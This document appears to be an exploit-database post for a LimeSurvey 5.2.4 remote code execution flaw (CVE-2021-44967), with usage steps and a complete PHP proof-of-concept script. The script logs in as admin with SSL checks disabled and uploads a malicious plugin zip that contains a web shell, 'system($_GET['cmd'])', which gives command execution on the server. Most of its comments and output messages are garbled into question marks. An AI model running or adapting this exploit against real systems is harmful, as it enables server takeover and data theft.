LimeSurvey 5.2.4 Remote Code Execution

=============================================================================================================================================
| # Title LimeSurvey 5.2.4 Remote Code Execution

=============================================================================================================================================
| # Title : LimeSurvey 5.2.4 reverse shell Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 136.0.0 (64 bits) |
| # Vendor : https://www.limesurvey.org/ |
=============================================================================================================================================

POC :

[+] Dorking ?n Google Or Other Search Enggine.

[+] Code Description: This script is used to exploit vulnerability in LimeSurvey to load a malicious PHP plugin and execute a reverse shell.

(Related : https://packetstorm.news/files/id/189288/ Related CVE numbers: CVE-2021-44967 ) .

[+] save code as poc.php.

[+] Set TArget : line 112

[+] Usage : php poc.php

[+] PayLoad :

<?php

/**
* ??? ???????? ??????? ???????? ???? CVE-2021-44967 ?? LimeSurvey ?????? ???? PHP ???? ?????? ????? Shell.
*/

// ????? ??????? SSL
$context = stream_context_create([
'ssl' => [
'verify_peer' => false,
'verify_peer_name' => false,
]
]);

// ??????? ?????? ??????
$plugin_name = "ExploitRCE_" . rand(1000, 9999);
$date = date("Y-m-d");
$xml_config = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n";
$xml_config .= "<config>\n";
$xml_config .= " <metadata>\n";
$xml_config .= " <name>$plugin_name</name>\n";
$xml_config .= " <type>plugin</type>\n";
$xml_config .= " <creationDate>$date</creationDate>\n";
$xml_config .= " <lastUpdate>$date</lastUpdate>\n";
$xml_config .= " <version>1.0</version>\n";
$xml_config .= " </metadata>\n";
$xml_config .= " <compatibility>\n";
$xml_config .= " <version>3.0</version>\n";
$xml_config .= " <version>4.0</version>\n";
$xml_config .= " <version>5.0</version>\n";
$xml_config .= " <version>6.0</version>\n";
$xml_config .= " <version>7.0</version>\n";
$xml_config .= " </compatibility>\n";
$xml_config .= "</config>";

// ???? ????? ?????? ??? LimeSurvey
function limesurvey_authenticate($url, $username, $password) {
echo "[*] ?????? ????? ??????...\n";
$login_url = "$url/index.php/admin/authentication/sa/login";
$login_page = file_get_contents($login_url, false, $GLOBALS['context']);
preg_match('/name=\"YII_CSRF_TOKEN\" value=\"(.*?)\"/', $login_page, $matches);
$csrf_token = $matches[1] ?? '';

$data = http_build_query([
"YII_CSRF_TOKEN" => $csrf_token,
"authMethod" => "Authdb",
"user" => $username,
"password" => $password,
"login_submit" => "login"
]);

$options = [
"http" => [
"method" => "POST",
"header" => "Content-type: application/x-www-form-urlencoded",
"content" => $data,
]
];

$result = file_get_contents($login_url, false, stream_context_create($options));

if (strpos($result, '/index.php/admin/index') !== false) {
echo "[+] ????? ?????? ????!\n";
} else {
echo "[-] ??? ????? ??????\n";
exit();
}
}

// ??? ?????? ??????? ???????
function upload_payload($url, $plugin_name, $payload) {
echo "[*] ??? ??????? ???????...\n";
$upload_url = "$url/index.php/admin/pluginmanager?sa=upload";

$boundary = "----WebKitFormBoundary" . md5(time());
$data = "--$boundary\r\n";
$data .= "Content-Disposition: form-data; name=\"the_file\"; filename=\"$plugin_name.zip\"\r\n";
$data .= "Content-Type: application/zip\r\n\r\n";
$data .= $payload . "\r\n";
$data .= "--$boundary--\r\n";

$options = [
"http" => [
"method" => "POST",
"header" => "Content-Type: multipart/form-data; boundary=$boundary",
"content" => $data,
]
];

$result = file_get_contents($upload_url, false, stream_context_create($options));

if (strpos($result, 'sa=uploadConfirm') !== false) {
echo "[+] ??? ??????? ????!\n";
} else {
echo "[-] ??? ?? ??? ???????\n";
exit();
}
}

// ????? ??????? ???????
$payload = "<?php system(\$_GET['cmd']); ?>";
$zip = new ZipArchive();
$zip_file = tempnam(sys_get_temp_dir(), "exploit") . ".zip";
$zip->open($zip_file, ZipArchive::CREATE);
$zip->addFromString("config.xml", $xml_config);
$zip->addFromString("payload.php", $payload);
$zip->close();
$payload_data = file_get_contents($zip_file);
unlink($zip_file);

// ????? ?????????
$url = "http://target-limesurvey.com"; // ?????? ?????? ?????
$username = "admin";
$password = "password";

limesurvey_authenticate($url, $username, $password);
upload_payload($url, $plugin_name, $payload_data);

echo "[*] ?? ????? ????????? ?????!\n";




Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================